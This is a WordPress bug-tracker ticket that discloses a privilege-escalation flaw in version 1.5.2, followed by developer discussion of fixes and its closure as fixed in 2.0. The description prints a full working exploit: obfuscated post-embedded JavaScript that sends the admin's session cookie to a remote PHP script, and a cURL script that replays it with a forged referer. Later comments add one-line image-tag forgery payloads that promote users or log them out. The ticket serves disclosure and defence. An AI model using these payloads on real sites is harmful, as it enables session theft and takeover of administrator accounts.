Ticket #1663 (closed defect: fixed)

Opened 3 years ago

Last modified 3 years ago

User privilege escalation :: Users can use XSS/XSRF to boost from lvl 2 to lvl 9

Reported by: WhiteAcid Assigned to: anonymous
Priority: low Milestone:
Component: Security Version: 1.5.2
Severity: critical Keywords: bg|dev-feedback bg|2nd-opinion
Cc: ryan

Description

WordPress :: User privilege escalation

Requirements:

WordPress 1.5.2 or lower

User account already level 2 (allowed to make posts)

Admin has to use a JavaScript? enabled browser

Server with PHP and the cURL extension installed (can be same or remote server, but you need write access)

Introduction:

Wordpress has several user levels that a user can be in. High level users can promote lower level users. This can be exploited using a hybrid of an XSS and an XSRF attack (I couldn't make my mind up as to which it is).

When creating a post no tags are stripped, this is most likely becuase the people who make posts are respoonsible people who want to see the site flourish. This even includes the script tag. Therefore someone who has posting abilities can write JavaScript? code which will be executed whenever anyone reads the post. One problem is that within script tags a single quote is converted to ‘ and a double quote is converted to “, so building a string becomes a bit more of a challenge. Of course it is possible to create a string without using quotes in JavaScript?. Firstly you create the String object:

a = new String()

Then you add to that string:

a+=String.fromCharCode(97)

a+=String.fromCharCode(98)

a+=String.fromCharCode(99)

alert(a) //alerts 'abc'

Attack Method:

The following function adds to the string variable 'a':

function addTxt(str) {

for (i=0;i<str.length;i++) {

document.write("a+=String.fromCharCode("+str.charCodeAt(i)+");")

}

}

That wouldn't be run in WP, but from the HDD of the attacker. Since WP replaces appends every \n with <br /> we have to put all our code onto one line, hence the ;'s.

An attacker wants to do the following: Create an image whose src attribute links to a remote file which promotes the user, then the attacker wants to hide the image, then the attacker wants to use setInterval to keep refreshing the image. The following file (with some modifications will work)

injection.html:

- - - - -

<script>

function addTxt(str)

{

for (i=0;i<str.length;i++)

{

document.write("a+=String.fromCharCode("+str.charCodeAt(i)+");")

}

}

document.write('<script>')

document.write("a=new String();") //Set up the string variable

addTxt("<img src=\"http://127.0.0.1/uplvl.php?c=") //Link to URL which does the promoting

document.write("a+=document.cookie;") //Send the cookies

addTxt("&ua=") //and the user agent, so it's all consistent in the logs

document.write("a+=navigator.userAgent;")

addTxt("&ref=") //a referer to spoof (WP checks the referer)

document.write("a+=location.href;")

addTxt("&id=") //The ID of the user you want to promote

document.write("a+=12;")

addTxt("\" id=\"myImg\" style=\"display:none;\" />") //Give img ID, hide it and close the image tag

document.write("document.write(a)") //Write out the image

document.write("<br /><br />")

document.write('a=new String();') //Reset the string

addTxt("myT=setInterval('document.getElementById(\"myImg\").src=document.getElementById(\"myImg\").src','200')")//make a timer that'll keep reloading the image

document.write('eval(a)') //run the timer

</script>

- - - - -

The attacker would have to change the URL to the file that does the promoting and the attack would have to change their ID. I can't find any way to find your own user id in WP other than guessing (unless you have access to /wp-admin/users.php, which level 2 users don't). Of course you could modify this to promote everyone.

Running that code will create something like the following output:

a=new String();a+=String.fromCharCode(60);a+=String.fromCharCode(105);a+=String.fromCharCode(109);a+=String.fromCharCode(103);a+=String.fromCharCode(32);a+=String.fromCharCode(115);a+=String.fromCharCode(114);a+=String.fromCharCode(99);a+=String.fromCharCode(61);a+=String.fromCharCode(34);a+=String.fromCharCode(104);a+=String.fromCharCode(116);a+=String.fromCharCode(116);a+=String.fromCharCode(112);a+=String.fromCharCode(58);a+=String.fromCharCode(47);a+=String.fromCharCode(47);a+=String.fromCharCode(49);a+=String.fromCharCode(50);a+=String.fromCharCode(55);a+=String.fromCharCode(46);a+=String.fromCharCode(48);a+=String.fromCharCode(46);a+=String.fromCharCode(48);a+=String.fromCharCode(46);a+=String.fromCharCode(49);a+=String.fromCharCode(47);a+=String.fromCharCode(117);a+=String.fromCharCode(112);a+=String.fromCharCode(108);a+=String.fromCharCode(118);a+=String.fromCharCode(108);a+=String.fromCharCode(46);a+=String.fromCharCode(112);a+=String.fromCharCode(104);a+=String.fromCharCode(112);a+=String.fromCharCode(63);a+=String.fromCharCode(99);a+=String.fromCharCode(61);a+=document.cookie;a+=String.fromCharCode(38);a+=String.fromCharCode(117);a+=String.fromCharCode(97);a+=String.fromCharCode(61);a+=navigator.userAgent;a+=String.fromCharCode(38);a+=String.fromCharCode(114);a+=String.fromCharCode(101);a+=String.fromCharCode(102);a+=String.fromCharCode(61);a+=location.href;a+=String.fromCharCode(38);a+=String.fromCharCode(105);a+=String.fromCharCode(100);a+=String.fromCharCode(61);a+=12;a+=String.fromCharCode(34);a+=String.fromCharCode(32);a+=String.fromCharCode(105);a+=String.fromCharCode(100);a+=String.fromCharCode(61);a+=String.fromCharCode(34);a+=String.fromCharCode(109);a+=String.fromCharCode(121);a+=String.fromCharCode(73);a+=String.fromCharCode(109);a+=String.fromCharCode(103);a+=String.fromCharCode(34);a+=String.fromCharCode(32);a+=String.fromCharCode(115);a+=String.fromCharCode(116);a+=String.fromCharCode(121);a+=String.fromCharCode(108);a+=String.fromCharCode(101);a+=String.fromCharCode(61);a+=String.fromCharCode(34);a+=String.fromCharCode(100);a+=String.fromCharCode(105);a+=String.fromCharCode(115);a+=String.fromCharCode(112);a+=String.fromCharCode(108);a+=String.fromCharCode(97);a+=String.fromCharCode(121);a+=String.fromCharCode(58);a+=String.fromCharCode(110);a+=String.fromCharCode(111);a+=String.fromCharCode(110);a+=String.fromCharCode(101);a+=String.fromCharCode(59);a+=String.fromCharCode(34);a+=String.fromCharCode(32);a+=String.fromCharCode(47);a+=String.fromCharCode(62);document.write(a)

a=new String();a+=String.fromCharCode(109);a+=String.fromCharCode(121);a+=String.fromCharCode(84);a+=String.fromCharCode(61);a+=String.fromCharCode(115);a+=String.fromCharCode(101);a+=String.fromCharCode(116);a+=String.fromCharCode(73);a+=String.fromCharCode(110);a+=String.fromCharCode(116);a+=String.fromCharCode(101);a+=String.fromCharCode(114);a+=String.fromCharCode(118);a+=String.fromCharCode(97);a+=String.fromCharCode(108);a+=String.fromCharCode(40);a+=String.fromCharCode(39);a+=String.fromCharCode(100);a+=String.fromCharCode(111);a+=String.fromCharCode(99);a+=String.fromCharCode(117);a+=String.fromCharCode(109);a+=String.fromCharCode(101);a+=String.fromCharCode(110);a+=String.fromCharCode(116);a+=String.fromCharCode(46);a+=String.fromCharCode(103);a+=String.fromCharCode(101);a+=String.fromCharCode(116);a+=String.fromCharCode(69);a+=String.fromCharCode(108);a+=String.fromCharCode(101);a+=String.fromCharCode(109);a+=String.fromCharCode(101);a+=String.fromCharCode(110);a+=String.fromCharCode(116);a+=String.fromCharCode(66);a+=String.fromCharCode(121);a+=String.fromCharCode(73);a+=String.fromCharCode(100);a+=String.fromCharCode(40);a+=String.fromCharCode(34);a+=String.fromCharCode(109);a+=String.fromCharCode(121);a+=String.fromCharCode(73);a+=String.fromCharCode(109);a+=String.fromCharCode(103);a+=String.fromCharCode(34);a+=String.fromCharCode(41);a+=String.fromCharCode(46);a+=String.fromCharCode(115);a+=String.fromCharCode(114);a+=String.fromCharCode(99);a+=String.fromCharCode(61);a+=String.fromCharCode(100);a+=String.fromCharCode(111);a+=String.fromCharCode(99);a+=String.fromCharCode(117);a+=String.fromCharCode(109);a+=String.fromCharCode(101);a+=String.fromCharCode(110);a+=String.fromCharCode(116);a+=String.fromCharCode(46);a+=String.fromCharCode(103);a+=String.fromCharCode(101);a+=String.fromCharCode(116);a+=String.fromCharCode(69);a+=String.fromCharCode(108);a+=String.fromCharCode(101);a+=String.fromCharCode(109);a+=String.fromCharCode(101);a+=String.fromCharCode(110);a+=String.fromCharCode(116);a+=String.fromCharCode(66);a+=String.fromCharCode(121);a+=String.fromCharCode(73);a+=String.fromCharCode(100);a+=String.fromCharCode(40);a+=String.fromCharCode(34);a+=String.fromCharCode(109);a+=String.fromCharCode(121);a+=String.fromCharCode(73);a+=String.fromCharCode(109);a+=String.fromCharCode(103);a+=String.fromCharCode(34);a+=String.fromCharCode(41);a+=String.fromCharCode(46);a+=String.fromCharCode(115);a+=String.fromCharCode(114);a+=String.fromCharCode(99);a+=String.fromCharCode(39);a+=String.fromCharCode(44);a+=String.fromCharCode(39);a+=String.fromCharCode(50);a+=String.fromCharCode(48);a+=String.fromCharCode(48);a+=String.fromCharCode(39);a+=String.fromCharCode(41);eval(a)

Two paragraphs of gibberish. The attacker would make a normal post, and at the end would add the two paragraphs of JS, both individually wrapped in script tags, taking note to not have any new lines at all within the script tags.

The attacker would also have the remote file, which I've named uplvl.php. This file would contain:

uplvl.php:

- - - - -

<?php

$url = $_GETref?.'wp-admin/users.php?action=promote&id='.$_GETid?.'&prom=up';

$c = $_GETc?;

$ref = $_GETref?.'wp-admin/users.php';

$ua = $_GETua?;

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL,$url);

curl_setopt($ch, CURLOPT_COOKIE, $c);

curl_setopt($ch, CURLOPT_REFERER, $ref);

curl_setopt($ch, CURLOPT_USERAGENT, $ua);

curl_exec($ch);

?>

- - - - -

That file will send of the request, also forging the referrer (as WP checks those) and the user-agent (just to blend in a bit better in the logs). It copies the cookies too, needed for authentication.

Now the attacker simply has to wait for the admin to read the message and the attacker should almost instantly be promoted to level 9, where the attacker might get upload rights and the rights to change what file extensions are allowed in uploads. This of course would allow the attacker to upload a PHP file giving much greater access to the server.

Solution:

I have never executed JavaScript? code from within my posts (unless testing this flaw) and I don't see a reason why the tag can't be stripped. I'll settle for a very ugly stripping method. In /wp-admin/post.php, scroll down to line 139, which should be blank (the next line should start with $postquery ="INSERT INTO $wpdb->posts...). Put the following onto line 139:

$content = str_replace('<script','&lt;script',$content);

That isn't a neat way, but it does stop script tags from opening.

Further discussion: As you may have noticed this attack isn't very useful, you may have to guess your ID, you already have to be a poster which means that admin trusts you and you'll get noticed. On the other hand it's a good learning technique.

Change History

09/09/05 06:49:06 changed by markjaquith

  • keywords set to bg|dev-feedback.

We could limit the use of <script></script> tags to higher level users (like those who can edit plugins or templates, and could use those to do whatever they wanted).

09/10/05 14:45:28 changed by davidhouse

  • keywords changed from bg|dev-feedback to bg|dev-feedback bg|2nd-opinion.

I'd call this one invalid. If you don't trust your authors, don't let them be authors ;) Or at least, keep them at level one don't promote them!

09/20/05 13:23:13 changed by nbachiyski

@davidhouse: That you trust somebody, doesn't always imply he/she will be true to you as the needle to the pole :)) In two words: trust nobody (at least if you agree that paranoia is a virtue:) ).

@WhiteAcid: Nice description and method. However, I could suggest a little bit easier method to do essentially the same thing. Just include <img src="your.wordpress.host/and/path/wp-admin/users.php?action=promote&id=<your-id-here>&prom=up"/> in the post. Actually you needn't be a level 2 user. If you are level 1 an admin will have to read your draft, and because a preview is shown on edit page, your user level will be up. And up. And up.

The logical question is 'What now?':

  1. Not allowing tags in non-admin posts: Unwanted.
  2. Ensuring all state changes are made by post, not by get request: JavaScript?'s XMLHttpRequest.
  3. Not allowing other referrals to the promoting action page, except wphost/path/wp-admin/users.php. Could be a temporary cure.

Any other suggestions?

09/26/05 14:50:31 changed by WhiteAcid

Sorry it's taken so long to reply, I've had a temporary self-imposed ban from computers.

@nbachiyski, I can't believe I didn't think of that. Well... checking image extensions is maybe a start, although you could still link to a remote png/jpg/gif file and use a .htaccess file to run PHP. markjaquith's suggestion is good, but as you pointed out you don't need JavaScript? to do this attack.

Don't bother with the refereals bit, that takes about 10 seconds to forge. The only foolproof method I can think of is disallowing any remote images/objects/iframes to be loaded, this would involve some serious filtering and would seriously hamper the usability of WP.

I don't see how using XMLHttpRequest would help cURL can make POST requests too.

Wait, brainwave.... If you check file extensions for all remote objects and disallow JS, then nothing can be done. Your method wouldn't work as the file extension is wrong and mine wouldn't as JS wouldn't work. I can't see any other way of doing this.

09/27/05 11:57:22 changed by WhiteAcid

Or switch to using POST and don't allow the script tag. Then an attacker would have to use cURL which would require the session info, which can't be sent as the script tag can't be opened.

That leaves a problem that the user can do something much less malicious but irritating, like: <img src="your.wordpress.host/and/path/wp-login.php?action=logout"/>

10/14/05 06:28:07 changed by nessence

  • cc set to ryan.

Mail.app prompts "This message contains unloaded images." Gmail says "External images are not displayed." (I wonder if they scrub javascript, never checked personally)

Why not a message "Javascript in this post was blocked." SRC and HREFs can be scrubbed of wp-*.php (or whatever's necessary). SRC and HREF filters would necessitate JS blocking, b/c JS could be used to dynamically build the wp-* URIs (as previously noted in the ticket).

An admin and/or user preference can be made available to adjust this setting with warnings if user prefers to allow javascript to be posted and executed. The default would be to allow javascript in content but block execution (output). Javascript is too dynamic to realistically filter it for XSS.

Regarding file extensions, it works both ways and images can have odd extensions (for example, a php script that generates an image for a counter). However, the same solution could apply. A message such as "Some images were unrecognized and not displayed."

Each of these message would have a corresponding "Load JavaScript?" or "Load Images" button (maybe even with a warning).

Blocking javascript alltogether isn't to bad. Although arguably, it doesn't really belong in content.

Last, the admin could provide 'safe' javascripts the users can use which are called via markup in the post and not HTML tags. In 'non-admin' posts, there could be a list of 'allowed' tags, which the poster has to adhere to. The admin could have some control over this.

http://www.sandsprite.com/Sleuth/papers/RealWorld_XSS_2.html http://namb.la/popular/tech.html http://ha.ckers.org/xss.html

Hope this helps. Sort of requires some major changes/decisions, so a patch would probably be a fruitless endeavor at this point.

11/22/05 14:42:06 changed by dougal

This is addressed in WP 2.0 anyhow, because there is a new user privilege to allow posting, but filters the post through kses.

12/26/05 16:23:21 changed by masquerade

  • status changed from new to closed.
  • resolution set to fixed.

This is addressed in 2.0 with the additional filters in kses.